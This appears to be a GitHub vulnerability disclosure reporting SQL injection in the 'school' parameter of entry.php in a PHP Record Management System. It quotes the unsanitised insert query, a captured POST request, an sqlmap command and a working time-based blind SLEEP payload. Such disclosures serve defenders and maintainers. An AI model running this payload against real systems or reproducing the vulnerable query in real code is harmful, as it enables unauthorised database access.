Skip to content

Latest commit

 

History

History
44 lines (42 loc) · 1.5 KB

Record-Management-System-04.md

File metadata and controls

44 lines (42 loc) · 1.5 KB

VUL_AUTHOR:netmanzhang

Record Management System - SQL Injection on (entry.php school parameter)

Vendor Homepage:

https://www.sourcecodester.com/php/5107/record-management-system.html

Version:V1.0

Tested on: PHP, Apache, MySQL

Affected Page:

entry.php

On this page, school parameter is vulnerable to SQL Injection Attack

Source code(Personnel_record_management_system/entry.php):

$school=$_POST['school'];
mysqli_query($conn,"insert into school (Name) values ('$school')")or die(mysqli_errno());

Proof of vulnerability(Verify using the sqlmap tool):

Request:

POST /Personnel_record_management_system/entry.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 117
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=52388hjgjeif4bl4r5sqp2bmpm
Origin: http://localhost
Referer: http://localhost/Personnel_record_management_system/entry.php
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

add_entry=&school=1

-> sqlmap -r 1.txt(above request package) --batch

Output:

---
Parameter: school (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: add_entry=&school=1' AND (SELECT 9424 FROM (SELECT(SLEEP(5)))Blms) AND 'PzUA'='PzUA
---